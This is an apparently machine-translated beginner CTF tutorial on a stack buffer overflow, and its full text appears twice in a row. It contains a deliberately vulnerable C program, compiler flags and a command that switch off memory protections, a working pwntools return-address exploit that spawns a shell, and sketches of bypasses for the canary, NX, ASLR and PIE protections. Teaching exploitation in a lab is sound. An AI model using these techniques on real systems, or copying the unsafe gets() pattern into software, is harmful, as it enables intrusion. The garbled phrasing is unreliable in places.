Pwn tools for beginners: GDB, pwntools, checksec
To play all the steps, there are four free tools in Ubuntu or Kali Linux.
GDB + pwndbg. Naked GDB shows hex addresses and does not highlight anything - you can work, but it hurts. The pwndbg extension after each stop draws registers, stacks and disassembled code in one window, and the overwritten EIP highlights in red. It is placed by one team: git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh. After that at launch gdb ./vuln The extension is connected automatically. Alternative – GEF, the difference is cosmetic; I’m used to pwndbg.
pwntools. Python framework, which closes the entire routine when writing exploits: generates De Bruijn-patterns to search for offset, packs addresses in little-endian via p32()/p64(), starts the process and communicates with it through sendline()/recv(). Installation: pip install 'pwntools>=4.3.1' (in versions up to 4.3.1 — SSTI vulnerability, CVE-2020-28468, CVSS 8.1 HIGH; do not put the old.) All work goes through from pwn import *.
checksec. Utility to check the protection of binary: stack canary, NX, PIE, RELRO. Included in pwntools – available through ELF('./binary').checksec(). It is possible and separately: checksec --file=./binary. One second, and it’s clear what to fight.
gcc. Compiler for the assembly of a training binary with disabled protections. You need specific flags, in detail below.
Vulnerable Binary: Compilation and Protection Check
Write a minimum program with two functions. vuln() read user input through gets() – without checking the length (classic of the genre). win() causes shell. In real CTF tasks win() is present in the code, but is not caused from the normal flow of execution - you can get to it only through the exploitation of the vulnerability:
#include <stdio.h>
#include <stdlib.h>
void win() { system("/bin/sh"); }
void vuln() {
char buf[64];
gets(buf);
printf("Input: %s\n", buf);
}
int main() { vuln(); return 0; }
We install dependencies for 32-bit assembly: sudo apt install gcc-multilib libc6-dev-i386 (Ubuntu/Debian). Then we compile a 32-bit binary with the team disabled protections gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c. We will analyze each flag - on the CTF you need to understand what exactly is turned off:
-m32 – 32-bit assembly. Addresses four-byte, registers are smaller, the analysis of binary for operation is much more obvious.
-fno-stack-protector – disables stack canary. Without this flag, the compiler inserts a random value between the buffer and the return address (canary). If it changes when overflowing, the program will cause __stack_chk_fail() and will drop with the message "stack smashing detected" even before ret. The canary is a simple but unpleasant thing.
-z execstack – allows the execution of code on the stack (disables NX bit). In our example, we do not put shellcode, but overwrite the return address to the existing function – but the flag is useful for further experiments.
-no-pie Disables PIE (Position Independent Executable). Without this flag, the feature addresses are randomized at each start, and address win() cannot be sewn into payload.
Additionally disable ASLR at the system level: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space. ASLR randomizes the basic addresses of the stack, piles and libraries. Without its disconnection, the addresses will float between launches.
Check the result: checksec --file=./vuln. Expected conclusion: Stack — No canary, found NX — NX disabled, PIE — No PIE, RELRO — Partial RELRO. If at least one value does not match, recompile with the correct flags. The first command when analyzing any pwn-task on CTF is always checksec.
Find a shift to return address: cyclic pattern and GDB
The buffer is 64 bytes. Naive rating: 64 (buffer) + 4 (saved EBP) = 68 bytes. But the compiler adds a alignment padding to align the stack, and the real offset may differ. To count manually is the path to disappointment. We use the De Bruijn-pattern.
The principle. pwntools generates a string in which each four-byte substring is unique: aaaabaaacaaadaaa.... When the line overwhelms the buffer and overwrites the return address, the processor tries to jump to the “address” composed of four letters of the pattern. According to these letters, the exact displacement is calculated.
Step 1 – generate a pattern. Performing python3 -c "from pwn import *; print(cyclic(200).decode())" and copy the output - a line 200 characters long. Length 200 – with stock: enough to be guaranteed to overwrite a return address even with an unforeseen padding.
Step 2 – launch the binary in GDB. Recruitment gdb ./vuln, then run. The program is waiting for input - insert the copied pattern and press Enter. Binarnic falls with Segmentation false.
Step 3 – read the EIP register. After the collapse of pwndbg will show the status of all registers. We are interested in EIP (instruction pointer) – it contains a value that the processor tried to use as a transition address. Let’s say EIP = 0x6161616c. This is four ASCII symbols from our pattern in a little-endian format.
Step 4 – calculate the offset. In Python consoles perform from pwn import *; print(cyclic_find(0x6161616c)). The result, for example, 76. This means that the first 76 bytes of input fill the buffer + padding + save EBP, and bytes from 77 to 80th fall exactly on the return address position.
Alternative path without leaving GDB: in pwndbg we recruit cyclic 200, copy the pattern, start run, insert the pattern, and after the crash - cyclic -l $eip. Pwndbg will set the value of the register and issue an offset.
Why 76 instead of 68? gcc defaults the stack to a 16-byte boundary (-mpreferred-stack-boundary=4, that is 2^4 = 16). Because of the alignment between buf[64] and saved EBP appears additional padding — 8 bytes. Total: 64 (buffer) + 8 (padding) + 4 (saved EBP) = 76 bytes. If you add a flag -mpreferred-stack-boundary=2, padding will disappear and the offset will become 68. But in CTF tasks, alignment controls the job author – don’t calculate the offset manually, use cyclic every time.
Exploit on pwntools: return address overwrite
Payload needs a function address win(). Find him through objdump -d vuln | grep win – in the output there will be a string of the view 08049196 <win>:. We remember the address 0x08049196 (You’ll have a different value – it depends on the version of the gcc and the environment.)
We collect the exploit - five lines of logic in terms of buffer overflow operation:
from pwn import *
p = process('./vuln')
offset = 76
win_addr = 0x08049196
payload = b'A' * offset + p32(win_addr)
p.sendline(payload)
p.interactive()
Line-up. process('./vuln') starts the binary as a child process. b'A' * offset creates 76 bytes of garbage – they will fill the buffer, padding and saved EBP. p32(win_addr) converts address win() in four bytes little-endian: 0x08049196 becomes \x96\x91\x04\x08. Here is the attention - x86 keeps the junior byte first, and if you collect the address with your hands, it is easy to mess with order. sendline() send payload to stdin binary with symbol \n at the end. interactive() switches the terminal into interactive mode.
Launch python3 exploit.py. If the offset and the address are correct, after the line “Input: AAA...” there is an invitation $. Recruitment whoami and see the username. CTF stack overflow in its purest form: we intercepted the return address and caused the program to call a function that is not performed in the normal code stream.
For a remote CTF task instead of process('./vuln') Write remote('ctf.example.com', 1337) – pwntools will connect to TCP. The rest of the code remains unchanged.
What happened at the stack level
Let's put in steps what happened inside the process:
gets() read the whole payload – 80 bytes (76 trash + 4 addresses). No length check.
The first 64 bytes filled buf[64] symbols "A" (0x41).
The following 8 bytes rubbed the alignment padding added by gcc.
The following 4 bytes (0x41414141) re-write saved EBP — main() It will break when we return, but we don't care.
The Last 4 Bytes (\x96\x91\x04\x08) lay exactly on the position of return address.
Instructions ret in vuln() removed from the stack our four bytes and handed over the office to the address 0x08049196.
The processor started to perform win(), which caused system("/bin/sh") - we got a shell.
This reception is a return address overwrite - the basic technique of exploiting binary file vulnerabilities. Everything that is more complex (ROP, ret2libc, heap exploitation) is added to the same principle: data control on the stack = control of the execution flow.
Stack protection: canary, NX, ASLR and bypass methods
In the training example, we have disabled all protections intentionally. In real CTF tasks, one or more are included – and each changes the approach to operation.
Stack canary. Random 4/8-byte value between local variables and saved EBP. Before ret function checks: canary has changed – called __stack_chk_fail(), the program is completed. Bypass: canary leakage through the format string vulnerability. According to the analysis of the My Little Pwny (MetaCTF) task, the format %19$p in vulnerable printf(buf) allows you to read the canary value directly from the stack. After the leak, the value is inserted into the payload to the desired position - the check passes.
NX bit (No eXecute) / DEP. Forbids the processor to execute instructions from the stack memory. Shellcode injection will not pass: put the machine code in the buffer and jump on it will not come out - the processor will throw away the exception. Bypass: ret2libc – overwrite return address address system() from libc and transfer the line /bin/sh as an argument. More flexible option – ROP (Return-Oriented Programming): a chain of short fragments of existing code (gadgets), each of which ends with instructions ret. Gadgets are sought through ROPgadget --binary ./vuln or means of pwntools: ROP(ELF('./vuln')).
ASLR (Address Space Layout Randomization). Randomizes the basic addresses of the stack, the pile and connected libraries at each launch. Address system() in libc each time the other - you can not sew in payload. Bypass ASLR: leaked address from GOT (Global Offset Table) via ROP chain. Typical pattern: the chain causes puts(puts@got), from the leaked value is calculated libc base (leak minus libc.symbols['puts']), and from the base are considered addresses system() and lines /bin/sh.
PIE (Position Independent Executable) It randomizes the addresses of the binary itself, not only libraries. Address win() swims. Bypass: address leakage from the .text section via format string (e.g., %6$p, as described in the MetaCTF parsing) and calculating the binary base by a known offset.
Typical progression of CTF tasks on overflowing stack: without protection (our example) → NX included (ret2libc or ROP needed) → NX + ASLR (need leakage of the libc address) → all protections are included, including canary and PIE (need for leakage canary and binary base). Each level is superstructured over the previous one.
Typical errors on the first pwn tasks
Forgot to disable ASLR. Addresses float – the exploit is triggered at a time. Check: cat /proc/sys/kernel/randomize_va_space. Importance not 0 – perform echo 0 | sudo tee /proc/sys/kernel/randomize_va_space.
They count offset manually instead of cyclic. The compiler adds alignment, and the manual calculation of the “EBP buffer size + 4 bytes” does not add up. De Bruijn-pattern is generated in ten seconds and gives an accurate result - regardless of alignment.
Confusion with the order of bytes. Address 0x08049196 recorded as \x96\x91\x04\x08, not \x08\x04\x91\x96. Little-endian: The junior byte goes first. p32() from pwntools makes conversion automatically - do not collect bytes with your hands, make mistakes.
Binarnik 64-bit, and the exploit is designed for 32. In 64-bit binary addresses eight-byte (use p64() instead of p32()). The first six arguments are transmitted through registers (rdi, rsi, rdx, rcx, r8, r9) rather than through the stack – this fundamentally changes both the offset and the structure of the ROP chain.
Missed checksec. The return address direct overwriting exploit does not work when the canary is enabled. Rule: checksec --file=./binary – the first command on any pwn-task. One second that saves an hour of blind debugging.
Did not check the presence of win(). Not all tasks contain a ready win function. If it is not available, shell is collected through an ROP chain or shellcode injection. Check: objdump -d vuln | grep -i win or nm vuln | grep win. No result – move on to analyzing the libc and building the ROP.
To play all the steps, there are four free tools in Ubuntu or Kali Linux.
GDB + pwndbg. Naked GDB shows hex addresses and does not highlight anything - you can work, but it hurts. The pwndbg extension after each stop draws registers, stacks and disassembled code in one window, and the overwritten EIP highlights in red. It is placed by one team: git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh. After that at launch gdb ./vuln The extension is connected automatically. Alternative – GEF, the difference is cosmetic; I’m used to pwndbg.
pwntools. Python framework, which closes the entire routine when writing exploits: generates De Bruijn-patterns to search for offset, packs addresses in little-endian via p32()/p64(), starts the process and communicates with it through sendline()/recv(). Installation: pip install 'pwntools>=4.3.1' (in versions up to 4.3.1 — SSTI vulnerability, CVE-2020-28468, CVSS 8.1 HIGH; do not put the old.) All work goes through from pwn import *.
checksec. Utility to check the protection of binary: stack canary, NX, PIE, RELRO. Included in pwntools – available through ELF('./binary').checksec(). It is possible and separately: checksec --file=./binary. One second, and it’s clear what to fight.
gcc. Compiler for the assembly of a training binary with disabled protections. You need specific flags, in detail below.
Vulnerable Binary: Compilation and Protection Check
Write a minimum program with two functions. vuln() read user input through gets() – without checking the length (classic of the genre). win() causes shell. In real CTF tasks win() is present in the code, but is not caused from the normal flow of execution - you can get to it only through the exploitation of the vulnerability:
#include <stdio.h>
#include <stdlib.h>
void win() { system("/bin/sh"); }
void vuln() {
char buf[64];
gets(buf);
printf("Input: %s\n", buf);
}
int main() { vuln(); return 0; }
We install dependencies for 32-bit assembly: sudo apt install gcc-multilib libc6-dev-i386 (Ubuntu/Debian). Then we compile a 32-bit binary with the team disabled protections gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c. We will analyze each flag - on the CTF you need to understand what exactly is turned off:
-m32 – 32-bit assembly. Addresses four-byte, registers are smaller, the analysis of binary for operation is much more obvious.
-fno-stack-protector – disables stack canary. Without this flag, the compiler inserts a random value between the buffer and the return address (canary). If it changes when overflowing, the program will cause __stack_chk_fail() and will drop with the message "stack smashing detected" even before ret. The canary is a simple but unpleasant thing.
-z execstack – allows the execution of code on the stack (disables NX bit). In our example, we do not put shellcode, but overwrite the return address to the existing function – but the flag is useful for further experiments.
-no-pie Disables PIE (Position Independent Executable). Without this flag, the feature addresses are randomized at each start, and address win() cannot be sewn into payload.
Additionally disable ASLR at the system level: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space. ASLR randomizes the basic addresses of the stack, piles and libraries. Without its disconnection, the addresses will float between launches.
Check the result: checksec --file=./vuln. Expected conclusion: Stack — No canary, found NX — NX disabled, PIE — No PIE, RELRO — Partial RELRO. If at least one value does not match, recompile with the correct flags. The first command when analyzing any pwn-task on CTF is always checksec.
Find a shift to return address: cyclic pattern and GDB
The buffer is 64 bytes. Naive rating: 64 (buffer) + 4 (saved EBP) = 68 bytes. But the compiler adds a alignment padding to align the stack, and the real offset may differ. To count manually is the path to disappointment. We use the De Bruijn-pattern.
The principle. pwntools generates a string in which each four-byte substring is unique: aaaabaaacaaadaaa.... When the line overwhelms the buffer and overwrites the return address, the processor tries to jump to the “address” composed of four letters of the pattern. According to these letters, the exact displacement is calculated.
Step 1 – generate a pattern. Performing python3 -c "from pwn import *; print(cyclic(200).decode())" and copy the output - a line 200 characters long. Length 200 – with stock: enough to be guaranteed to overwrite a return address even with an unforeseen padding.
Step 2 – launch the binary in GDB. Recruitment gdb ./vuln, then run. The program is waiting for input - insert the copied pattern and press Enter. Binarnic falls with Segmentation false.
Step 3 – read the EIP register. After the collapse of pwndbg will show the status of all registers. We are interested in EIP (instruction pointer) – it contains a value that the processor tried to use as a transition address. Let’s say EIP = 0x6161616c. This is four ASCII symbols from our pattern in a little-endian format.
Step 4 – calculate the offset. In Python consoles perform from pwn import *; print(cyclic_find(0x6161616c)). The result, for example, 76. This means that the first 76 bytes of input fill the buffer + padding + save EBP, and bytes from 77 to 80th fall exactly on the return address position.
Alternative path without leaving GDB: in pwndbg we recruit cyclic 200, copy the pattern, start run, insert the pattern, and after the crash - cyclic -l $eip. Pwndbg will set the value of the register and issue an offset.
Why 76 instead of 68? gcc defaults the stack to a 16-byte boundary (-mpreferred-stack-boundary=4, that is 2^4 = 16). Because of the alignment between buf[64] and saved EBP appears additional padding — 8 bytes. Total: 64 (buffer) + 8 (padding) + 4 (saved EBP) = 76 bytes. If you add a flag -mpreferred-stack-boundary=2, padding will disappear and the offset will become 68. But in CTF tasks, alignment controls the job author – don’t calculate the offset manually, use cyclic every time.
Exploit on pwntools: return address overwrite
Payload needs a function address win(). Find him through objdump -d vuln | grep win – in the output there will be a string of the view 08049196 <win>:. We remember the address 0x08049196 (You’ll have a different value – it depends on the version of the gcc and the environment.)
We collect the exploit - five lines of logic in terms of buffer overflow operation:
from pwn import *
p = process('./vuln')
offset = 76
win_addr = 0x08049196
payload = b'A' * offset + p32(win_addr)
p.sendline(payload)
p.interactive()
Line-up. process('./vuln') starts the binary as a child process. b'A' * offset creates 76 bytes of garbage – they will fill the buffer, padding and saved EBP. p32(win_addr) converts address win() in four bytes little-endian: 0x08049196 becomes \x96\x91\x04\x08. Here is the attention - x86 keeps the junior byte first, and if you collect the address with your hands, it is easy to mess with order. sendline() send payload to stdin binary with symbol \n at the end. interactive() switches the terminal into interactive mode.
Launch python3 exploit.py. If the offset and the address are correct, after the line “Input: AAA...” there is an invitation $. Recruitment whoami and see the username. CTF stack overflow in its purest form: we intercepted the return address and caused the program to call a function that is not performed in the normal code stream.
For a remote CTF task instead of process('./vuln') Write remote('ctf.example.com', 1337) – pwntools will connect to TCP. The rest of the code remains unchanged.
What happened at the stack level
Let's put in steps what happened inside the process:
gets() read the whole payload – 80 bytes (76 trash + 4 addresses). No length check.
The first 64 bytes filled buf[64] symbols "A" (0x41).
The following 8 bytes rubbed the alignment padding added by gcc.
The following 4 bytes (0x41414141) re-write saved EBP — main() It will break when we return, but we don't care.
The Last 4 Bytes (\x96\x91\x04\x08) lay exactly on the position of return address.
Instructions ret in vuln() removed from the stack our four bytes and handed over the office to the address 0x08049196.
The processor started to perform win(), which caused system("/bin/sh") - we got a shell.
This reception is a return address overwrite - the basic technique of exploiting binary file vulnerabilities. Everything that is more complex (ROP, ret2libc, heap exploitation) is added to the same principle: data control on the stack = control of the execution flow.
Stack protection: canary, NX, ASLR and bypass methods
In the training example, we have disabled all protections intentionally. In real CTF tasks, one or more are included – and each changes the approach to operation.
Stack canary. Random 4/8-byte value between local variables and saved EBP. Before ret function checks: canary has changed – called __stack_chk_fail(), the program is completed. Bypass: canary leakage through the format string vulnerability. According to the analysis of the My Little Pwny (MetaCTF) task, the format %19$p in vulnerable printf(buf) allows you to read the canary value directly from the stack. After the leak, the value is inserted into the payload to the desired position - the check passes.
NX bit (No eXecute) / DEP. Forbids the processor to execute instructions from the stack memory. Shellcode injection will not pass: put the machine code in the buffer and jump on it will not come out - the processor will throw away the exception. Bypass: ret2libc – overwrite return address address system() from libc and transfer the line /bin/sh as an argument. More flexible option – ROP (Return-Oriented Programming): a chain of short fragments of existing code (gadgets), each of which ends with instructions ret. Gadgets are sought through ROPgadget --binary ./vuln or means of pwntools: ROP(ELF('./vuln')).
ASLR (Address Space Layout Randomization). Randomizes the basic addresses of the stack, the pile and connected libraries at each launch. Address system() in libc each time the other - you can not sew in payload. Bypass ASLR: leaked address from GOT (Global Offset Table) via ROP chain. Typical pattern: the chain causes puts(puts@got), from the leaked value is calculated libc base (leak minus libc.symbols['puts']), and from the base are considered addresses system() and lines /bin/sh.
PIE (Position Independent Executable) It randomizes the addresses of the binary itself, not only libraries. Address win() swims. Bypass: address leakage from the .text section via format string (e.g., %6$p, as described in the MetaCTF parsing) and calculating the binary base by a known offset.
Typical progression of CTF tasks on overflowing stack: without protection (our example) → NX included (ret2libc or ROP needed) → NX + ASLR (need leakage of the libc address) → all protections are included, including canary and PIE (need for leakage canary and binary base). Each level is superstructured over the previous one.
Typical errors on the first pwn tasks
Forgot to disable ASLR. Addresses float – the exploit is triggered at a time. Check: cat /proc/sys/kernel/randomize_va_space. Importance not 0 – perform echo 0 | sudo tee /proc/sys/kernel/randomize_va_space.
They count offset manually instead of cyclic. The compiler adds alignment, and the manual calculation of the “EBP buffer size + 4 bytes” does not add up. De Bruijn-pattern is generated in ten seconds and gives an accurate result - regardless of alignment.
Confusion with the order of bytes. Address 0x08049196 recorded as \x96\x91\x04\x08, not \x08\x04\x91\x96. Little-endian: The junior byte goes first. p32() from pwntools makes conversion automatically - do not collect bytes with your hands, make mistakes.
Binarnik 64-bit, and the exploit is designed for 32. In 64-bit binary addresses eight-byte (use p64() instead of p32()). The first six arguments are transmitted through registers (rdi, rsi, rdx, rcx, r8, r9) rather than through the stack – this fundamentally changes both the offset and the structure of the ROP chain.
Missed checksec. The return address direct overwriting exploit does not work when the canary is enabled. Rule: checksec --file=./binary – the first command on any pwn-task. One second that saves an hour of blind debugging.
Did not check the presence of win(). Not all tasks contain a ready win function. If it is not available, shell is collected through an ROP chain or shellcode injection. Check: objdump -d vuln | grep -i win or nm vuln | grep win. No result – move on to analyzing the libc and building the ROP.